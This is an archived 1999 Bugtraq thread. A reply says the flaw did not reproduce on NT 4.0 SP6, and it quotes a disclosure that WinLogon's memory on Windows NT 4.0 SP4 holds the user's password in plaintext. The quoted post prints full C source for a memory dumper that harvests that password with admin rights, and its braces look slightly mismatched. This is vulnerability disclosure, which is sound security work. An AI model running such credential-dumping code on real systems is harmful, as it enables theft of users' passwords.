-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 I tried this on NT wkst 4. with sp 6 and my admin password never appeared in the dumped file. Shawn Wilton TRINITY wiltonat_private - -----Original Message----- From: Bugtraq List [mailto:BUGTRAQat_private]On Behalf Of Robert Horvick Sent: Tuesday, December 07, 1999 6:41 AM To: BUGTRAQat_private Subject: NT WinLogon VM contains plaintext password visible in admin mode While this does require admin rights for this to work the implications of social engineering or an exploit to run after compromising the admin account are obvious. I contacted MS about this and they indicated it was fixed in NT 4.0 SP5 - I have not retested it on SP5 yet to be sure. This does work on SP4 (and presumably previous SP versions as well). I also don't see anything in SP5's release note discussing this change - unless they have chosen a sufficiently benign way of phrasing the problem. The basic idea is that if WinLogon's process is opened (OpenProcess) with PROCESS_VM_READ and then the VM is read with ReadProcessMemory - within the first several hundred bytes (in the form of Unicode environment variables) is the logged in users password, twice, in plaintext in an easy to parse format. Here is some code to demonstrate this - you must be running as administrator for this to work: /*************************************************************** * dumpvmem * * dumps the contents of a process virtual mem to a file for * browsing later. If run with admin privs and the process * winlogon is used ... the users password is all over the * place in the first few hundred bytes. * * Robert Horvick [Kanin] Great Plains Software * 12/2/1999 rhorvickat_private * * * Command Line * pid - decimal process id * szPath - path to the file to dump memory to * ****************************************************************/ #include <windows.h> #include <stdio.h> /* * Highly inefficient - allocations occur in page size minimums. * They should be used for real work. Since * the password shows up so quickly ... meh. */ DWORD DumpMemory(HANDLE hProc, LPSTR szPath) { LPSTR lpOffset = (void*)1; CHAR vBuf[1]; DWORD dwRead = 0; BOOL bLastRead = FALSE; DWORD dwDumpedBytes = 0; FILE *f; f = fopen(szPath, "wb"); if(f) while(lpOffset++) { if(ReadProcessMemory( hProc, lpOffset, vBuf, 1, &dwRead)) { if(bLastRead) { fprintf(f, "%c", vBuf[0]); } else { fprintf(f, "\noffset %lx\n", lpOffset); fprintf(f, "%c", vBuf[0]); bLastRead = TRUE; } dwDumpedBytes++; } else { bLastRead = FALSE; } } fclose(f); } else { fprintf(stderr, "Unable to open %s", szPath); } return dwDumpedBytes; } int main(int argc, char **argv) { DWORD dwPid = 0; BOOL bWorked = FALSE; HANDLE hProc = 0; char *szPath = 0; if (argc < 2) { fprintf(stderr, "dumpvmem <pid> <path to dump file>"); return EXIT_FAILURE; } dwPid = atol(argv[1]); szPath = argv[2]; hProc = OpenProcess(PROCESS_VM_READ, FALSE, dwPid); if(hProc) { /* Play nice ... that is a tight loop up there. */ HANDLE hMe = GetCurrentProcess(); SetPriorityClass(hMe, IDLE_PRIORITY_CLASS); DumpMemory(hProc, szPath); CloseHandle(hProc); } else { fprintf(stderr, "Unable to open %ld for PROCESS_VM_READ\n", dwPid); } return 0; } The created file will be obvious enough. Robert Horvick, Fargo ND -----BEGIN PGP SIGNATURE----- Version: PGPfreeware 6.5.2 for non-commercial use <http://www.pgp.com> iQA/AwUBOE1xsijwW3470EmAEQKwzACdFnzEWre6D/wrvJrr2hRnTtn37+cAoNAn 4KUC9SIw5jNaJDk6BKdoP9i2 =sHK7 -----END PGP SIGNATURE-----
This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 15:19:01 PDT